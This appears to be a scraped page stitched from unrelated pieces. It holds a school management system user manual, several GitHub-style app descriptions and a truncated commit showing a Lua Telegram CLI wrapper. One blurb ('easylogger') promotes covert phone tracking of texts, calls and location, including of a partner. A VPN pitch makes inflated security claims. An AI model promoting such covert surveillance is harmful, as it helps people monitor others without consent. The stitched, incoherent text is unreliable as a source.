them along with class MANAGING TEACHERS From navigation go to teacher Here you can see the list of teachers of your school in a tabular form To add a new teacher, click the top right button named add new teacher and fill up the information and save For editing or deleting a teacher information click the action button assigned to each entry of the table. That will bring two options for editing and deleting. Click on the required action editing and deleting MANAGING ACCOUNTANTS From navigation go to accountant Here you can see the list of accountants of your school in a tabular form To add a new accountant, click the top right button named add new accountant and fill up the information and save For editing or deleting a teacher information click the action button assigned to each entry of the table. That will bring two options for editing and deleting. Click on the required action editing and deleting MANAGING LIBRARIANS From navigation go to librarian Here you can see the list of librarians of your school in a tabular form To add a new librarian, click the top right button named add new librarian and fill up the information and save For editing or deleting a teacher information click the action button assigned to each entry of the table. That will bring two options for editing and deleting. Click on the required action editing and deleting MANAGING HOSTEL MANAGERS From navigation go to hostel manager Here you can see the list of hostel managers of your school in a tabular form To add a new hostel manager, click the top right button named add new hostel manager and fill up the information and save For editing or deleting a teacher information click the action button assigned to each entry of the table. That will bring two options for editing and deleting. Click on the required action editing and deleting MANAGING ALUMNI From navigation go to alumni Here you can see the list of alumni of your school in a tabular form To add a new alumni, click the top right button named add new alumni and fill up the information and save For editing or deleting a teacher information click the action button assigned to each entry of the table. That will bring two options for editing and deleting. Click on the required action editing and deleting MANAGING PARENTS From navigation go to parents Here you can see the list of parents of the students of your school in a tabular form To add a new parent, click the top right button named add new parent and fill up the information and save For editing or deleting a parent information click the action button assigned to each entry of the table. That will bring two options for editing and deleting. Click on the required action for editing and deleting MANAGING CLASSES From navigation go to > manage sections Add new class section for a class and assign teacher for each of them View the class sections in a tabular form class wise Edit and delete class section information MANAGING CLASS SECTION From navigation go to class > manage sections Add new class section for a class and assign a teacher for each of them View the class sections in a tabular for class wise Edit and deklete class section information MANAGING SUBJECTS From navigation go to subject If you have already added classes then under this you will see a list of the classes added. If you have not created classes, please create class first Here you can see the subjects class wise Add or edit or delete subjects MANAGING CLASS ROUTINE From navigation go to class routine View all the class routines in accordion Add class routine Click on the subject name on routine to edit and delete MANAGING DIALY STUDENT’S ATTENDENCE From navigation go to daily attendance Select the date and class and click manage attendance That will bring up the students name and attendance information in a tabular form To update the attendance status or for taking the attendance for that particular date of that particular class which you have selected earlier, click the button named update attendance Put the status for all at once and click save changes MANAGING EXAMS Exam list From navigation, go to exam > exam list Add an exam for all Edit and delete exam Exam grade From navigation go to exam > exam grades Add exam grades as per the requirements of your institution Edit or delete exam grades Manage exam marks From navigation go to > manage marks Select exam, class and subject and click manage marks for changing or updating marks That will bring up the form for updating the students marks for that particular subject Enter the marks and click update Sending exam marks by SMS From navigation go to exam > send mark by SMS Select exakm and class and receive (students/parent) Click the button named send mark via SMS That will send SMS with the marks for that exam you have selected if a SMS service is already activated MANAGING PAYMENTS From navigation go to payment Add invoice and take manual payment multiple time under the same invoice If a payment is due, then an option will be there for taking the payment in the action button of the table that contains the list of all the invoices with the basic information. Edit or delete invoice LOAN MANAGEMENT From navigation go to loan application See all the applied loans Click on apply loan Fill forms to apply Wait for loan approval COMPUTER BASED TEST (CBT) From navigation, go to Manage CBT Click on Add Exam Set Class, Exam Time, Exam Duration, Subject, Question Count and Session Click on continue to Add Questions Click on List Exams to View Exams Click on View Result to View Exams Scores ACCOUNTING Incomes From navigation, go to accounting > incomes Here you can see all the incomes for your school that means students fee in a tabular form with their payment time and amount EXPENSES From navigation, go to accounting > expenses Add expenses for the school Edit or delete them GENERATING STAFF IDCARD Teacher, librarian, accounant, hostel manager From navigation, go to staff > ID CARD Here you can you will see a button asking you to click generate ID CARD EXPENSE CATEGORY From navigation, go to accounting > expense category Add expense category Edit or delete them MANAGING BOOKS From navigation go to library Add books Edit or delete them MANAGING TRANSPORT From navigation go to transport Add transport information Edit or delete them MANAGING DORMITORY From navigation go to dormitory Add / edit / delete MANAGING ASSIGNMENT From navigation go to assignment Add / edit / delete MANAGING HOLIDAYS From navigation go to holiday Add / edit / delete MANAGING TODAY’S THOUGHT From navigation go to today’s thought Add / edit / delete MANAGING CIRCULAR From navigation go to circular Add / edit / delete MANAGING SCHOOL CLUBS From navigation go to school club Add / edit / delete MANAGING TASK From navigation go to task manager Add / edit / delete MANAGING HELPFUL LINK From navigation go to Helpful Links Add / edit / delete MANAGING ENQUIRY From navigation go to enquiry Add / edit / delete MANAGING ENQUIRY CATEFORY From navigation go to enquiry category Add / edit / delete MANAGING HELP DESK From navigation go to task Helpdesk Add / edit / delete NOTICEBOARD From navigation go to notice board Add / edit / delete them For sending the notice to all as SMS, yes while creating the notice This will send SMS to all the users about that notice PRIVATE MESSAGING From navigation, go to message Admin can send message to all users For sending message, select user and type the message and click send You can also see all the message sent to you or sent from you SYSTEM SETTINGS From navigation go to settings > general settings You can change basic system settings here and also can select language You can also upload logo from here THEME SETTINGS From navigation go to setting > general settings On the right of the page there is a panel named theme settings You find several skin options for you application Select you desire one to make changes SMS SETTINGS From navigation go to settings > sms settings Here you will find 2 SMS services, one is Clickatell and another is Twilio You have to activate a service first Then put the necessary information for a service Visit https://www.twilio.com/user/acount/settings/international /sms LANGUAGE SETTINGS From navigation go to setting > language settings Change phrase or add new phrase for a particular language Add new language MANAGE BANNER SETTINGS From navigation go to setting > banner settings Add / edit / delete MANAGE FRONT END SETTINGS From navigation go to setting > front end settings Add / edit / delete MANAGE NEWS SETTINGS From navigation go to setting > news settings Add / edit / delete ACCOUNT SETTINGS From navigation go to account Change basic account information Update your password Change profile image ……………………………………………………………………………………………….. TEACHER PANEL DASHBOARD ………………………………………………………………………………………………. Total number of students, parents and attendance of students for that day at a glance Dashboard also holds a calendar for showing events. MANAGING STUDENTS Admit students From navigation go to student > admit student Fill up the necessary information Save student Student information From navigation go to student > student information Here you can see the student class wise If a class has sections then you can also browse the students as per class sections Student mark sheets From navigation go to student > student mark sheet Here you can see all the students marks class wise If the class has sections then you can also see them along with class MANAGING DAILY STUDENT’S ATTENDANCE From navigation go to daily attendance Select the date and class and click mange attendance That will bring up the students name and attendance information in a tabular form To update the attendance status or for taking the attendance for that particular date of that particular class which you have selected earlier, click the button named update attendance Put the status for all at once and click save changes MANAGING DAILY STUDENT’S ATTENDANCE From navigation go to daily attendance Select the date and class and click manage attendance That will bring up the students name and attendance information in a tabular form To update the attendance status or for taking the attendance for that particular date of that particular class which you have selected earlier, click the button named update attendance Put the status for all at once and click save changes MANAGING ASSIGNMENT From navigation go to assignment That will bring up the assignemnt page in a tabular form, you can click on add assignment on left corner of the page to add assignment. MANAGING CLASSES From navigation go to > manage sections Add new class section for a class and assign teacher for each of them View the class sections in a tabular form class wise Edit and delete class section information MANAGING CLASS SECTION From navigation go to class > manage sections Add new class section for a class and assign a teacher for each of them View the class sections in a tabular for class wise Edit and deklete class section information MANAGING SUBJECTS From navigation go to subject If you have already added classes then under this you will see a list of the classes added. If you have not created classes, please create class first Here you can see the subjects class wise Add or edit or delete subjects MANAGING CLASS ROUTINE From navigation go to class routine View all the class routines in accordion Add class routine Click on the subject name on routine to edit and delete MANAGING DIALY STUDENT’S ATTENDENCE From navigation go to daily attendance Select the date and class and click manage attendance That will bring up the students name and attendance information in a tabular form To update the attendance status or for taking the attendance for that particular date of that particular class which you have selected earlier, click the button named update attendance Put the status for all at once and click save changes MANAGING EXAMS Manage exam marks From navigation go to > manage marks Select exam, class and subject and click manage marks for changing or updating marks That will bring up the form for updating the students marks for that particular subject Enter the marks and click update MANAGING HELPFUL LINK From navigation go to Helpful Links Add / edit / delete NEWS From navigation go to view news View all the uploaded news TODAY’S THOUGHT From navigation go to today’s thought View all the uploaded today’s thought HOLIDAY DATES From navigation go to holiday View all the holiday with their respectives dates ……………………………………………………………………………………………………. STUDENT PANEL DASHBOARD ……………………………………………………………………………………………………. Total number of students, teachers, parents and attendance of students for that day at a glance, dashboard also holds a calendar for showing event CLASS ROUTINE Form navigation go to class routine View the class routine of the logged in student EXAM MARKS From navigation go to exam > manage marks Select exam and subject See the mark for the selected exam in the selected subject COMPUTER BASED TEST (CBT) From navigation go to online CBT See all the uploaded test for your class Attemtp the uploaded test View your results STUDY MATERIALS From navigation go to study materials See all the uploaded study materials for your class Download the materials ASSIGNMENT From navigation go to assignment See all the uploaded assignments for your class Download the assignment MEDIA From navigation go to media See all the uploaded media for your class Download or watch media NEWS From navigation go to view news View all the uploaded news TODAY’S THOUGHT From navigation go to today’s thought View all the uploaded today’s thought HOLIDAY DATES From navigation go to holiday View all the holiday with their respectives dates HELPFUL LINKS From navigation go to helpful links View all the helpful links HELP DESK From navigation go to help desk Submit or create help desk to the administrator STUDY MATERIALS From navigation go to study material See all the uploaded study material for your class Download the study material PAYMENT / PAY WITH PAYPAL From navigation go to payment See the list of invoices Pay online with paypal for the unpaid invoices COMMUNICATE WITH TEACHERS / ADMIN From navigation go to message Send new message to teachers and admin Get the sent message to you ………………………………………………………………………………………………...... ACCOUNTANT PANEL DASHBOARD ………………………………………………………………………………………………….. Total number of students, accountants, parents and attendance of student for that day at a glance. Dashboard also holds a calendar for showing events. MANAGING PAYMENTS From navigation go to payment Add invoice and take manual payment multiple time under the same invoice If a payment is due, then an option will be there for taking the payment in the action button of the table that contains the list of all the invoices with the basic information. Edit or delete invoice LOAN MANAGEMENT From navigation go to loan application See all the applied loans Click on apply loan Fill forms to apply Wait for loan approval MESSAGING From navigating go to message Send message to teachers and admin Get the message sent to you NEWS From navigation go to view news View all the uploaded news TODAY’S THOUGHT From navigation go to today’s thought View all the uploaded today’s thought HOLIDAY DATES From navigation go to holiday View all the holiday with their respectives dates HELPFUL LINKS From navigation go to helpful links View all the helpful links HELP DESK From navigation go to help desk Submit or create help desk to the administrator TRANSPORTATION From navigation go to transportation View transportation available ………………………………………………………………………………………………...... LIBRARIAN PANEL DASHBOARD ………………………………………………………………………………………………….. Total number of students, librarian, parents and attendance of student for that day at a glance. Dashboard also holds a calendar for showing events. MANAGING BOOKS From navigation go to library Add books Edit or delete them LOAN MANAGEMENT From navigation go to loan application See all the applied loans Click on apply loan Fill forms to apply Wait for loan approval MESSAGING From navigating go to message Send message to teachers and admin Get the message sent to you NEWS From navigation go to view news View all the uploaded news TODAY’S THOUGHT From navigation go to today’s thought View all the uploaded today’s thought HOLIDAY DATES From navigation go to holiday View all the holiday with their respectives dates HELPFUL LINKS From navigation go to helpful links View all the helpful links HELP DESK From navigation go to help desk Submit or create help desk to the administrator TRANSPORTATION From navigation go to transportation View transportation available ………………………………………………………………………………………………...... HOSTEL MANAGER PANEL DASHBOARD ………………………………………………………………………………………………….. Total number of students, hostel managers, parents and attendance of student for that day at a glance. Dashboard also holds a calendar for showing events. MANAGING DORMITORY From navigation go to dormitory Add / edit / delete LOAN MANAGEMENT From navigation go to loan application See all the applied loans Click on apply loan Fill forms to apply Wait for loan approval MESSAGING From navigating go to message Send message to teachers and admin Get the message sent to you NEWS From navigation go to view news View all the uploaded news TODAY’S THOUGHT From navigation go to today’s thought View all the uploaded today’s thought HOLIDAY DATES From navigation go to holiday View all the holiday with their respectives dates HELPFUL LINKS From navigation go to helpful links View all the helpful links HELP DESK From navigation go to help desk Submit or create help desk to the administrator TRANSPORTATION From navigation go to transportation View transportation available ………………………………………………………………………………………………...... PARENT PANEL DASHBOARD ………………………………………………………………………………………………….. Total number of students, teachers, parents and attendance of student for that day at a glance. Dashboard also holds a calendar for showing events. CHILDREN MARKS From navigation go to exam marks See the mark of your children individually One parent can have multiple children PAYMENTS From navigation go to exam > payment View the invoices of your children and individually Make payment via paypal online CLASS ROUTINE From navigation go to class routine Get the class routine for each of your child separately MESSAGING From navigating go to message Send message to teachers and admin Get the message sent to you NEWS From navigation go to view news View all the uploaded news TODAY’S THOUGHT From navigation go to today’s thought View all the uploaded today’s thought HOLIDAY DATES From navigation go to holiday View all the holiday with their respectives dates HELPFUL LINKS From navigation go to helpful links View all the helpful links HELP DESK From navigation go to help desk Submit or create help desk to the administrator
ardriveapp
The ArDrive App allows a user to log in to securely view, upload and manage their ArDrive files with their browser or mobile phone.
theindianappguy
New Repo
"RemoteFingerUnlock" not only allows you to log in to your computer using fingerprint scanning on your mobile phone, but also enables you to control various functions such as powering on, shutting down, standby, and screen lock. Come and experience it!
leoneparise
Check your logs from your phone! 📲
VPN Proxy Master Pro application masks your true IP address and location, encrypt your internet traffic, secures you from public Wi-Fi and helps unblock sites and apps on your Android phone so that you can access any restricted content, connect safely and anonymously. Our servers ensure high availability, security and anonymity of VPN services. ‘VPN Proxy Master Pro’ is very secure VPN app for android devices with In App Purchases integrated which means users can purchase fastest servers from the app also if they want to upgrade to fastest servers. In app purchases is divided into 3 plans. One Month Subscription: in which user will be able to use VPN and for ONE MONTH without ads and upgrading to fastest servers. Six Month Subscription: in which user will be able to use VPN and for SIX MONTHS without ads and upgrading to fastest servers. Twelve Month Subscription: in which user will be able to use VPN and for TWELVE MONTHS without ads and upgrading to fastest servers. Why choose ‘VPN Proxy Master Pro’? • Zero-buffering speeds: safe connection isn’t just a private VPN-it’s a fast, free and secure VPN as well! • Stay safe on the move: strong end-to-end data encryption keeps you safe on every public Wi-Fi hotspot, making it the best & secure VPN wifi app. • Hide IP address: protect your privacy with VPN by hiding real IP address that can be connected to your digital identity. Stay Safe! • Safest protection: VPN Virginia provides its users end - to - end encryption to guard sensitive information. • No logs, no tracking: We really have no idea what you’re doing online when VPN proxy service is enabled. We care for your privacy! • Budget-friendly: VPN For Android the best value VPN subscription plans. How to Use ‘VPN Proxy Master Pro’ (Safe-guard VPN app)? Step 1: Download the app Step 2: Select country you want to connect to Step 3: Click on "Start" That’s it! Features: • Fastest Super-Fast VPN Proxy • One Touch Connection • Auto Connect with Fastest Server • Unlimited Servers • Fastest Speed • Limitless Usage • IN APP Purchases • Multiple Ad Networks • Switch Between Ad Networks any Time • One signal Push Notifications • Fast Servers without Limit • Clean, Modern and Stunning UI Design • Android Studio Code • Error Free Source Code • Online Documentation • Android 11 Supported • Easy to Install • Complete Step by Step Installation Guide • Better User Experience • Available anytime for any support. Main Features of Free VPN on Android: Incognito Browsing: Using netherlands VPN you’ll be able to browse the web with complete anonymity. Security: Your network is fully encrypted, making it near impossible for anyone to see what you’re doing online. Stream from anywhere: Using free VPN client, sites or content on those sites that may be blocked in your region become readily available, making it possible to access & surf any site and service from virtually anywhere in the world. Avoid network throttling: VPN privacy resets your online network to its original settings and allow you to surf, stream, and download without having to worry about slow-loading sites. Find better deals online: By connecting to proxy hotspot server outside your home region and comparing prices online, you might be able to get better deals. You'll need a VPN in the following instances: * Visiting websites and launching apps blocked by your Internet Service Provider. * Willing to conceal from your Internet Service Provider for a fact of visiting certain websites. * VPN provides anonymous access to websites and apps- your Internet Service Provider is only notified of you being connected to a VPN - all the web-traffic is encrypted with a 1024-bit key. * Connecting to open Wi-Fi networks (password-less). All the data in these networks is transmitted in the clear (without encryption). * Website may be intercepted by ill-intentioned persons. VPN encrypts traffic and prevents it from being read even in case of open Wi-Fi networks.
easylogger
Remotely access call logs, full texts, live geo location, apps usage time and more. Converts a phone into a 24/7 tracking device. Track your children’s life to protect them from unwanted influences, follow whereabouts of your family members to know about their life choices or monitor employees to keep track of productivity and avoid waste. The Easy logger is built to be an easy cell phone tracker and monitor, if you need to track your significant other, yours childs location, monitor your teens behaviour or simply keep informed about calls / texts made on a company phone the Easy logger is for you. 1000s of users including major corporations use the Easy logger for monitoring, geo tracking and to check phone misuse.
arashstar1
Code Issues 0 Pull requests 0 Pulse MaTaDoR/ 3233fdf V 5.7 MaTaDoR @MaTaDoRTeaMMaTaDoRTeaM committed on GitHub about 1 month ago 2 changed files 2,704 additions and 0 deletions cli/tg/tdcli.lua @@ -0,0 +1,2704 @@ +--[[ + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, USA. + +]]-- + +-- Vector example form is like this: {[0] = v} or {v1, v2, v3, [0] = v} +-- If false or true crashed your telegram-cli, try to change true to 1 and false to 0 + +-- Main Bot Framework +local M = {} + +-- @chat_id = user, group, channel, and broadcast +-- @group_id = normal group +-- @channel_id = channel and broadcast +local function getChatId(chat_id) + local chat = {} + local chat_id = tostring(chat_id) + + if chat_id:match('^-100') then + local channel_id = chat_id:gsub('-100', '') + chat = {ID = channel_id, type = 'channel'} + else + local group_id = chat_id:gsub('-', '') + chat = {ID = group_id, type = 'group'} + end + + return chat +end + +local function getInputFile(file) + if file:match('/') then + infile = {ID = "InputFileLocal", path_ = file} + elseif file:match('^%d+$') then + infile = {ID = "InputFileId", id_ = file} + else + infile = {ID = "InputFilePersistentId", persistent_id_ = file} + end + + return infile +end + +-- User can send bold, italic, and monospace text uses HTML or Markdown format. +local function getParseMode(parse_mode) + if parse_mode then + local mode = parse_mode:lower() + + if mode == 'markdown' or mode == 'md' then + P = {ID = "TextParseModeMarkdown"} + elseif mode == 'html' then + P = {ID = "TextParseModeHTML"} + end + end + + return P +end + +-- Returns current authorization state, offline request +local function getAuthState(dl_cb, cmd) + tdcli_function ({ + ID = "GetAuthState", + }, dl_cb, cmd) +end + +M.getAuthState = getAuthState + +-- Sets user's phone number and sends authentication code to the user. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- If phone number is not recognized or another error has happened, returns an error. Otherwise returns authStateWaitCode +-- @phone_number User's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function setAuthPhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "SetAuthPhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.setAuthPhoneNumber = setAuthPhoneNumber + +-- Resends authentication code to the user. +-- Works only when authGetState returns authStateWaitCode and next_code_type of result is not null. +-- Returns authStateWaitCode on success +local function resendAuthCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendAuthCode", + }, dl_cb, cmd) +end + +M.resendAuthCode = resendAuthCode + +-- Checks authentication code. +-- Works only when authGetState returns authStateWaitCode. +-- Returns authStateWaitPassword or authStateOk on success +-- @code Verification code from SMS, Telegram message, voice call or flash call +-- @first_name User first name, if user is yet not registered, 1-255 characters +-- @last_name Optional user last name, if user is yet not registered, 0-255 characters +local function checkAuthCode(code, first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthCode", + code_ = code, + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.checkAuthCode = checkAuthCode + +-- Checks password for correctness. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @password Password to check +local function checkAuthPassword(password, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthPassword", + password_ = password + }, dl_cb, cmd) +end + +M.checkAuthPassword = checkAuthPassword + +-- Requests to send password recovery code to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateWaitPassword on success +local function requestAuthPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestAuthPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestAuthPasswordRecovery = requestAuthPasswordRecovery + +-- Recovers password with recovery code sent to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @recovery_code Recovery code to check +local function recoverAuthPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverAuthPassword", + recovery_code_ = recovery_code + }, dl_cb, cmd) +end + +M.recoverAuthPassword = recoverAuthPassword + +-- Logs out user. +-- If force == false, begins to perform soft log out, returns authStateLoggingOut after completion. +-- If force == true then succeeds almost immediately without cleaning anything at the server, but returns error with code 401 and description "Unauthorized" +-- @force If true, just delete all local data. Session will remain in list of active sessions +local function resetAuth(force, dl_cb, cmd) + tdcli_function ({ + ID = "ResetAuth", + force_ = force or nil + }, dl_cb, cmd) +end + +M.resetAuth = resetAuth + +-- Check bot's authentication token to log in as a bot. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- Can be used instead of setAuthPhoneNumber and checkAuthCode to log in. +-- Returns authStateOk on success +-- @token Bot token +local function checkAuthBotToken(token, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthBotToken", + token_ = token + }, dl_cb, cmd) +end + +M.checkAuthBotToken = checkAuthBotToken + +-- Returns current state of two-step verification +local function getPasswordState(dl_cb, cmd) + tdcli_function ({ + ID = "GetPasswordState", + }, dl_cb, cmd) +end + +M.getPasswordState = getPasswordState + +-- Changes user password. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and password change will not be applied until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed +-- @old_password Old user password +-- @new_password New user password, may be empty to remove the password +-- @new_hint New password hint, can be empty +-- @set_recovery_email Pass True, if recovery email should be changed +-- @new_recovery_email New recovery email, may be empty +local function setPassword(old_password, new_password, new_hint, set_recovery_email, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetPassword", + old_password_ = old_password, + new_password_ = new_password, + new_hint_ = new_hint, + set_recovery_email_ = set_recovery_email, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setPassword = setPassword + +-- Returns set up recovery email. +-- This method can be used to verify a password provided by the user +-- @password Current user password +local function getRecoveryEmail(password, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecoveryEmail", + password_ = password + }, dl_cb, cmd) +end + +M.getRecoveryEmail = getRecoveryEmail + +-- Changes user recovery email. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and email will not be changed until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed. +-- If new_recovery_email coincides with the current set up email succeeds immediately and aborts all other requests waiting for email confirmation +-- @password Current user password +-- @new_recovery_email New recovery email +local function setRecoveryEmail(password, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetRecoveryEmail", + password_ = password, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setRecoveryEmail = setRecoveryEmail + +-- Requests to send password recovery code to email +local function requestPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestPasswordRecovery = requestPasswordRecovery + +-- Recovers password with recovery code sent to email +-- @recovery_code Recovery code to check +local function recoverPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverPassword", + recovery_code_ = tostring(recovery_code) + }, dl_cb, cmd) +end + +M.recoverPassword = recoverPassword + +-- Returns current logged in user +local function getMe(dl_cb, cmd) + tdcli_function ({ + ID = "GetMe", + }, dl_cb, cmd) +end + +M.getMe = getMe + +-- Returns information about a user by its identifier, offline request if current user is not a bot +-- @user_id User identifier +local function getUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUser = getUser + +-- Returns full information about a user by its identifier +-- @user_id User identifier +local function getUserFull(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserFull", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUserFull = getUserFull + +-- Returns information about a group by its identifier, offline request if current user is not a bot +-- @group_id Group identifier +local function getGroup(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroup", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroup = getGroup + +-- Returns full information about a group by its identifier +-- @group_id Group identifier +local function getGroupFull(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroupFull", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroupFull = getGroupFull + +-- Returns information about a channel by its identifier, offline request if current user is not a bot +-- @channel_id Channel identifier +local function getChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannel = getChannel + +-- Returns full information about a channel by its identifier, cached for at most 1 minute +-- @channel_id Channel identifier +local function getChannelFull(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannelFull", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannelFull = getChannelFull + +-- Returns information about a secret chat by its identifier, offline request +-- @secret_chat_id Secret chat identifier +local function getSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.getSecretChat = getSecretChat + +-- Returns information about a chat by its identifier, offline request if current user is not a bot +-- @chat_id Chat identifier +local function getChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChat = getChat + +-- Returns information about a message +-- @chat_id Identifier of the chat, message belongs to +-- @message_id Identifier of the message to get +local function getMessage(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessage", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.getMessage = getMessage + +-- Returns information about messages. +-- If message is not found, returns null on the corresponding position of the result +-- @chat_id Identifier of the chat, messages belongs to +-- @message_ids Identifiers of the messages to get +local function getMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.getMessages = getMessages + +-- Returns information about a file, offline request +-- @file_id Identifier of the file to get +local function getFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getFile = getFile + +-- Returns information about a file by its persistent id, offline request +-- @persistent_file_id Persistent identifier of the file to get +local function getFilePersistent(persistent_file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFilePersistent", + persistent_file_id_ = persistent_file_id + }, dl_cb, cmd) +end + +M.getFilePersistent = getFilePersistent + +-- Returns list of chats in the right order, chats are sorted by (order, chat_id) in decreasing order. +-- For example, to get list of chats from the beginning, the offset_order should be equal 2^63 - 1 +-- @offset_order Chat order to return chats from +-- @offset_chat_id Chat identifier to return chats from +-- @limit Maximum number of chats to be returned +local function getChats(offset_order, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "GetChats", + offset_order_ = offset_order or 9223372036854775807, + offset_chat_id_ = offset_chat_id or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChats = getChats + +-- Searches public chat by its username. +-- Currently only private and channel chats can be public. +-- Returns chat if found, otherwise some error is returned +-- @username Username to be resolved +local function searchPublicChat(username, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChat", + username_ = username + }, dl_cb, cmd) +end + +M.searchPublicChat = searchPublicChat + +-- Searches public chats by prefix of their username. +-- Currently only private and channel (including supergroup) chats can be public. +-- Returns meaningful number of results. +-- Returns nothing if length of the searched username prefix is less than 5. +-- Excludes private chats with contacts from the results +-- @username_prefix Prefix of the username to search +local function searchPublicChats(username_prefix, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChats", + username_prefix_ = username_prefix + }, dl_cb, cmd) +end + +M.searchPublicChats = searchPublicChats + +-- Searches for specified query in the title and username of known chats, offline request. +-- Returns chats in the order of them in the chat list +-- @query Query to search for, if query is empty, returns up to 20 recently found chats +-- @limit Maximum number of chats to be returned +local function searchChats(query, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "SearchChats", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchChats = searchChats + +-- Adds chat to the list of recently found chats. +-- The chat is added to the beginning of the list. +-- If the chat is already in the list, at first it is removed from the list +-- @chat_id Identifier of the chat to add +local function addRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.addRecentlyFoundChat = addRecentlyFoundChat + +-- Deletes chat from the list of recently found chats +-- @chat_id Identifier of the chat to delete +local function deleteRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChat = deleteRecentlyFoundChat + +-- Clears list of recently found chats +local function deleteRecentlyFoundChats(dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChats", + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChats = deleteRecentlyFoundChats + +-- Returns list of common chats with an other given user. +-- Chats are sorted by their type and creation date +-- @user_id User identifier +-- @offset_chat_id Chat identifier to return chats from, use 0 for the first request +-- @limit Maximum number of chats to be returned, up to 100 +local function getCommonChats(user_id, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetCommonChats", + user_id_ = user_id, + offset_chat_id_ = offset_chat_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getCommonChats = getCommonChats + +-- Returns messages in a chat. +-- Automatically calls openChat. +-- Returns result in reverse chronological order, i.e. in order of decreasing message.message_id +-- @chat_id Chat identifier +-- @from_message_id Identifier of the message near which we need a history, you can use 0 to get results from the beginning, i.e. from oldest to newest +-- @offset Specify 0 to get results exactly from from_message_id or negative offset to get specified message and some newer messages +-- @limit Maximum number of messages to be returned, should be positive and can't be greater than 100. +-- If offset is negative, limit must be greater than -offset. +-- There may be less than limit messages returned even the end of the history is not reached +local function getChatHistory(chat_id, from_message_id, offset, limit, 